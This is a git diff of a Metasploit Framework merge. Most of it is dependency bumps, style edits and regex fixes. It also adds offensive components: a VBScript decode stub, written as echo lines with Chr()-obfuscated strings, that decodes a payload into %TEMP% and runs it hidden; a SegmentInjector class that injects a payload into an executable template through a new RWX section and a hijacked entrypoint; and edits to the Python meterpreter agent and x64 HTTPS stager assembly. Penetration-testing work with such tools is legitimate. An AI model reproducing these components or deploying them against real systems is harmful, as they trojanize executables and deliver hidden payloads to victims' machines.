Merge upstream

This commit is contained in:
Meatballs 2013-09-27 10:11:10 +01:00
commit 5fa0eb32a9
552 changed files with 7229 additions and 2033 deletions

7
.gitignore vendored
View File

@ -3,10 +3,7 @@
.idea
# Sublime Text project directory (not created by ST by default)
.sublime-project
# Portable ruby version files for rvm
.ruby-gemset
.ruby-version
# RVM control file
# RVM control file, keep this to avoid backdooring Metasploit
.rvmrc
# YARD cache directory
.yardoc
@ -16,7 +13,7 @@
config/database.yml
# simplecov coverage data
coverage
data/meterpreter/ext_server_pivot.dll
data/meterpreter/ext_server_pivot.x86.dll
data/meterpreter/ext_server_pivot.x64.dll
doc/
external/source/meterpreter/java/bin

1
.ruby-gemset Normal file
View File

@ -0,0 +1 @@
metasploit-framework

1
.ruby-version Normal file
View File

@ -0,0 +1 @@
1.9.3-p448

View File

@ -15,4 +15,4 @@ notifications:
irc: "irc.freenode.org#msfnotify"
git:
depth: 1
depth: 5

View File

@ -1,4 +1,4 @@
source 'http://rubygems.org'
source 'https://rubygems.org'
# Need 3+ for ActiveSupport::Concern
gem 'activesupport', '>= 3.0.0'
@ -11,7 +11,7 @@ gem 'nokogiri'
# Needed by anemone crawler
gem 'robots'
# Needed by db.rb and Msf::Exploit::Capture
gem 'packetfu', '1.1.8'
gem 'packetfu', '1.1.9'
group :db do
# Needed for Msf::DbManager
@ -41,7 +41,7 @@ group :development, :test do
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks
gem 'rake'
gem 'rake', '>= 10.0.0'
end
group :test do
@ -51,11 +51,10 @@ group :test do
gem 'database_cleaner'
# testing framework
gem 'rspec', '>= 2.12'
# add matchers from shoulda, such as query_the_database, which is useful for
# testing that the Msf::DBManager activation is respected.
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'

View File

@ -1,62 +1,58 @@
GEM
remote: http://rubygems.org/
remote: https://rubygems.org/
specs:
activemodel (3.2.13)
activesupport (= 3.2.13)
activemodel (3.2.14)
activesupport (= 3.2.14)
builder (~> 3.0.0)
activerecord (3.2.13)
activemodel (= 3.2.13)
activesupport (= 3.2.13)
activerecord (3.2.14)
activemodel (= 3.2.14)
activesupport (= 3.2.14)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activesupport (3.2.13)
i18n (= 0.6.1)
activesupport (3.2.14)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.2)
bourne (1.4.0)
mocha (~> 0.13.2)
builder (3.0.4)
database_cleaner (0.9.1)
diff-lcs (1.2.2)
database_cleaner (1.1.1)
diff-lcs (1.2.4)
factory_girl (4.2.0)
activesupport (>= 3.0.0)
i18n (0.6.1)
json (1.7.7)
metaclass (0.0.1)
i18n (0.6.5)
json (1.8.0)
metasploit_data_models (0.16.6)
activerecord (>= 3.2.13)
activesupport
pg
mocha (0.13.3)
metaclass (~> 0.0.1)
msgpack (0.5.4)
mini_portile (0.5.1)
msgpack (0.5.5)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.5.9)
packetfu (1.1.8)
nokogiri (1.6.0)
mini_portile (~> 0.5.0)
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.15.1)
rake (10.0.4)
redcarpet (2.2.2)
pg (0.16.0)
rake (10.1.0)
redcarpet (3.0.0)
robots (0.10.1)
rspec (2.13.0)
rspec-core (~> 2.13.0)
rspec-expectations (~> 2.13.0)
rspec-mocks (~> 2.13.0)
rspec-core (2.13.1)
rspec-expectations (2.13.0)
rspec (2.14.1)
rspec-core (~> 2.14.0)
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
rspec-core (2.14.5)
rspec-expectations (2.14.2)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.13.0)
shoulda-matchers (1.5.2)
rspec-mocks (2.14.3)
shoulda-matchers (2.3.0)
activesupport (>= 3.0.0)
bourne (~> 1.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
timecop (0.6.1)
timecop (0.6.3)
tzinfo (0.3.37)
yard (0.8.5.2)
yard (0.8.7)
PLATFORMS
ruby
@ -71,10 +67,10 @@ DEPENDENCIES
msgpack
network_interface (~> 0.0.1)
nokogiri
packetfu (= 1.1.8)
packetfu (= 1.1.9)
pcaprub
pg (>= 0.11)
rake
rake (>= 10.0.0)
redcarpet
robots
rspec (>= 2.12)

View File

@ -9,8 +9,8 @@ Code Style
In order to maintain consistency and readability, we ask that you
adhere to the following style guidelines:
- Hard tabs, not spaces
- Try to keep your lines under 100 columns (assuming four-space tabs)
- Standard Ruby two-space soft tabs, not hard tabs.
- Try to keep your lines under 100 columns (assuming two-space tabs)
- do; end instead of {} for a block
- Always use str[0,1] instead of str[0]
(This avoids a known ruby 1.8/1.9 incompatibility.)

View File

@ -0,0 +1,49 @@
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
echo Set fs = CreateObject(scriptingFS) >>decode_stub
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
echo data = Replace(data, vbCrLf, nil) >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo emptyString >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

Binary file not shown.

Binary file not shown.

BIN
data/meterpreter/elevator.x86.dll Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
@meterpreter.register_function
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if path_tlv == '%COMSPEC%':
if platform.system() == 'Windows':
result = 'cmd.exe'
else:
if has_windll:
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
result = ''.join(path_out)[:path_out_len]
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
elif path_tlv in ['%TEMP%', '%TMP%']:
result = '/tmp'
else:
result = os.getenv(path_tlv)
result = os.getenv(path_tlv, path_tlv)
if not result:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
m = hashlib.md5()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
m = hashlib.sha1()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function

Binary file not shown.

View File

@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
data = self.std.read()
self.data_lock.acquire()
self.data += self.std.read()
self.data += data
self.data_lock.release()
def is_read_ready(self):
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
def run(self):
while self.running:
if len(select.select([self.socket], [], [], 0)[0]):
if len(select.select([self.socket], [], [], 0.5)[0]):
request = self.socket.recv(8)
if len(request) != 8:
break
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv)
if method_tlv['value'] in self.extension_functions:
handler = self.extension_functions[method_tlv['value']]
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
#print("[*] running method {0}".format(handler_name))
result, resp = handler(request, resp)
except Exception, err:
#print("[-] method {0} resulted in an error".format(handler_name))
result = ERROR_FAILURE
else:
#print("[-] method {0} was requested but does not exist".format(handler_name))
result = ERROR_FAILURE
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp

Binary file not shown.

Binary file not shown.

BIN
data/meterpreter/metsrv.x86.dll Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,8 @@
aspnet_client/
Autodiscover/
ecp/
EWS/
Microsoft-Server-ActiveSync/
OAB/
PowerShell/
Rpc/

View File

@ -1,6 +1,7 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Rewritten for x64 by agix
; Modified to account for memory alignment by rwincey
; Compatible: Windows 7
; Architecture: x64
;-----------------------------------------------------------------------------;
@ -12,6 +13,7 @@
load_wininet:
; setup the structures we need on the stack...
push byte 0 ; alignment
mov r14, 'wininet'
push r14 ; Push the bytes 'wininet',0 onto the stack.
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
@ -20,6 +22,7 @@ load_wininet:
call rbp ; LoadLibraryA( "ws2_32" )
internetopen:
push byte 0 ; alignment
push byte 0 ; NULL pointer
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
@ -74,6 +77,7 @@ retry:
internetsetoption:
mov rcx, rsi ; HINTERNET hInternet
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push byte 0 ; alignment
push qword 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
@ -90,6 +94,7 @@ httpsendrequest:
xor rdx, rdx ; LPCTSTR lpszHeaders
xor r8, r8 ; DWORD dwHeadersLength
xor r9, r9 ; LPVOID lpOptional
push rdx ; alignment
push rdx ; DWORD dwOptionalLength
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call rbp

View File

@ -776,10 +776,10 @@ class Disassembler
def strings_scan(minlen=6)
ret = []
nexto = 0
pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o|
pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
if o - nexto > 0
next unless e = get_edata_at(o)
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m]
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
ret << [o, str] if not block_given? or yield(o, str)
nexto = o + str.length
end

View File

@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
end
if @show_ascii and d
x = xa + d_o*@font_width
d = d.gsub(/[^\x20-\x7e]/, '.')
d = d.gsub(/[^\x20-\x7e]/n, '.')
if wp.empty?
render[d, :ascii]
else
@ -393,7 +393,7 @@ class HexWidget < DrawableWidget
# pop a dialog, scans the sections for a hex pattern
def prompt_search_hex
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" }
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }

View File

@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
def initialize(rstream,opts={})
super
self.platform = 'x86/win32'
self.binary_suffix = 'dll'
self.binary_suffix = 'x86.dll'
end
def lookup_error(code)

View File

@ -57,6 +57,8 @@ require 'msf/core/nop'
require 'msf/core/payload'
require 'msf/core/post'
# Custom HTTP Modules
require 'msf/http/wordpress'
# Drivers
require 'msf/core/exploit_driver'

View File

@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
next if @@credentials_skipped[fq_user]
next if @@credentials_tried[fq_user] == p
datastore['USERNAME'] = u.to_s
datastore['PASSWORD'] = p.to_s
ret = block.call(u, p)
case ret

View File

@ -128,10 +128,10 @@ module Auxiliary::Login
false
end
def password_prompt?
def password_prompt?(username=nil)
return true if(@recvd =~ @password_regex)
if datastore['USERNAME']
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
if username
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
end
return false
end

View File

@ -59,7 +59,7 @@ def get_nmap_ver
nmap_cmd = [self.nmap_bin]
nmap_cmd << "--version"
res << %x{#{nmap_cmd.join(" ")}} rescue nil
res.gsub(/[\x0d\x0a]/,"")
res.gsub(/[\x0d\x0a]/n,"")
end
# Takes a version string in the form of Major.Minor and compares to
@ -68,16 +68,16 @@ end
# Comparing an Integer is okay, though.
def nmap_version_at_least?(test_ver=nil)
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/]
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n]
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
end
test_ver_str = test_ver.to_s
tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
installed_ver = get_nmap_ver()
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
return false if (vtag.nil? || vtag.empty?)
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag.
inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag.
inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
return true if inum_arr[0] > tnum_arr[0]
return false if inum_arr[0] < tnum_arr[0]
inum_arr[1].to_i >= tnum_arr[1].to_i
@ -228,7 +228,7 @@ def nmap_validate_arg(str)
return false
end
# Check for commas outside of quoted arguments
quoted_22 = /\x22[^\x22]*\x22/
quoted_22 = /\x22[^\x22]*\x22/n
requoted_str = str.gsub(/'/,"\"")
if requoted_str.split(quoted_22).join[/,/]
print_error "Malformed nmap arguments (unquoted comma): #{str}"

View File

@ -358,7 +358,7 @@ class DBManager
opts.each { |k,v|
if (host.attribute_names.include?(k.to_s))
unless host.attribute_locked?(k.to_s)
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
end
else
dlog("Unknown attribute for ::Mdm::Host: #{k}")
@ -481,7 +481,7 @@ class DBManager
if (host.attribute_names.include?(k.to_s))
unless host.attribute_locked?(k.to_s)
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
end
else
dlog("Unknown attribute for Host: #{k}")
@ -1536,12 +1536,12 @@ class DBManager
if (token[0])
# convert the token to US-ASCII from UTF-8 to prevent an error
token[0] = token[0].unpack("C*").pack("C*")
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
end
if (token[1])
token[1] = token[1].unpack("C*").pack("C*")
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
end
ret = {}
@ -2853,7 +2853,7 @@ class DBManager
return REXML::Document.new(data)
rescue REXML::ParseException => e
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] })
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] })
end
end
end
@ -3055,7 +3055,7 @@ class DBManager
@import_filedata[:type] = "Appscan"
return :appscan_xml
when "entities"
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni
@import_filedata[:type] = "CI"
return :ci_xml
end
@ -3342,8 +3342,8 @@ class DBManager
def inspect_single_packet_http(pkt,wspace,task=nil)
# First, check the server side (data from port 80).
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n)
if http_server_match.kind_of?(MatchData) and http_server_match[1]
report_service(
:workspace => wspace,
@ -3363,8 +3363,8 @@ class DBManager
# Next, check the client side (data to port 80)
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/)
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/)
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n)
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n)
if auth_match.kind_of?(MatchData) and auth_match[1]
b64_cred = auth_match[1]
else
@ -3476,7 +3476,7 @@ class DBManager
data.each_line do |line|
case line
when /^[\s]*#/ # Comment lines
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/]
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n]
addr = $1
port = $2
proto = $4
@ -3492,7 +3492,7 @@ class DBManager
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
pass = ""
ptype = "smb_hash"
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
ptype = "password"
@ -3531,7 +3531,7 @@ class DBManager
# If hex notation is present, turn them into a character.
def dehex(str)
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/)
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n)
hexen.each { |h|
str.gsub!(h,h[2,2].to_i(16).chr)
}
@ -5039,7 +5039,7 @@ class DBManager
next if r[0] != 'results'
next if r[4] != "12053"
data = r[6]
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2]
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2]
addr_map[hname] = addr
end
@ -5160,7 +5160,7 @@ class DBManager
# HostName
host.elements.each('ReportItem') do |item|
next unless item.elements['pluginID'].text == "12053"
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1]
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1]
hname = host.elements['HostName'].text
end
addr ||= host.elements['HostName'].text
@ -5855,7 +5855,7 @@ class DBManager
data.each_line do |line|
next if line =~ /^#/
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n
addr = $1
next if bl.include? addr
port = $2.to_i

View File

@ -20,7 +20,7 @@ class Export
end
def myusername
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_")
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_")
end
# Hosts are always allowed. This is really just a stub.
@ -115,7 +115,7 @@ class Export
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
if pass != "<BLANK>"
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "<BLANK>"
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>"
end
if pass == "<BLANK>"
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
@ -206,7 +206,7 @@ class Export
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
report_file.write %Q|<MetasploitV4>\n|
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/,"_")}" product="framework"/>\n|
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n|
yield(:status, "start", "hosts") if block_given?
report_file.write %Q|<hosts>\n|
@ -352,7 +352,7 @@ class Export
if value
data = marshalize(value)
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
el << REXML::Text.new(data)
end
return el

View File

@ -0,0 +1,108 @@
module Msf
module Exe
require 'metasm'
class SegmentInjector
attr_accessor :payload
attr_accessor :template
attr_accessor :arch
attr_accessor :buffer_register
def initialize(opts = {})
@payload = opts[:payload]
@template = opts[:template]
@arch = opts[:arch] || :x86
@buffer_register = opts[:buffer_register] || 'edx'
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
raise ArgumentError, ":buffer_register is not a real register"
end
end
def processor
case @arch
when :x86
return Metasm::Ia32.new
when :x64
return Metasm::X86_64.new
end
end
def create_thread_stub
<<-EOS
hook_entrypoint:
pushad
push hook_libname
call [iat_LoadLibraryA]
push hook_funcname
push eax
call [iat_GetProcAddress]
mov eax, [iat_CreateThread]
lea edx, [thread_hook]
push 0
push 0
push 0
push edx
push 0
push 0
call eax
popad
jmp entrypoint
hook_libname db 'kernel32', 0
hook_funcname db 'CreateThread', 0
thread_hook:
lea #{buffer_register}, [thread_hook]
add #{buffer_register}, 9
EOS
end
def payload_as_asm
asm = ''
@payload.each_byte do |byte|
asm << "db " + sprintf("0x%02x", byte) + "\n"
end
return asm
end
def payload_stub
asm = create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded
end
def generate_pe
# Copy our Template into a new PE
pe_orig = Metasm::PE.decode_file(template)
pe = pe_orig.mini_copy
# Copy the headers and exports
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Generate a new code section set to RWX with our payload in it
s = Metasm::PE::Section.new
s.name = '.text'
s.encoded = payload_stub
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
# Tell our section where the original entrypoint was
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
pe.sections << s
pe.invalidate_header
# Change the entrypoint to our new section
pe.optheader.entrypoint = 'hook_entrypoint'
pe.cpu = pe_orig.cpu
pe.encode_string
end
end
end
end

View File

@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia
end
# Store the version information
mver = resp.match(/IVERSION\x00([^\x00]+)/)
mver = resp.match(/IVERSION\x00([^\x00]+)/n)
info['Version'] = mver[1] if mver
# Store the hostname information
mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
mver = resp.match(/ISERVNAME\x00([^\x00]+)/n)
info['Hostname'] = mver[1] if mver
# Begin the ARKADMIN_GET_MACHINE_INFO request
@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia
# Finally, parse out and store all the parameters
resp.split("TPVALUE\x00").each { |x|
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n)
if (minf)
info[ minf[2] ] = minf[1]
end

View File

@ -0,0 +1,34 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
####
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
#
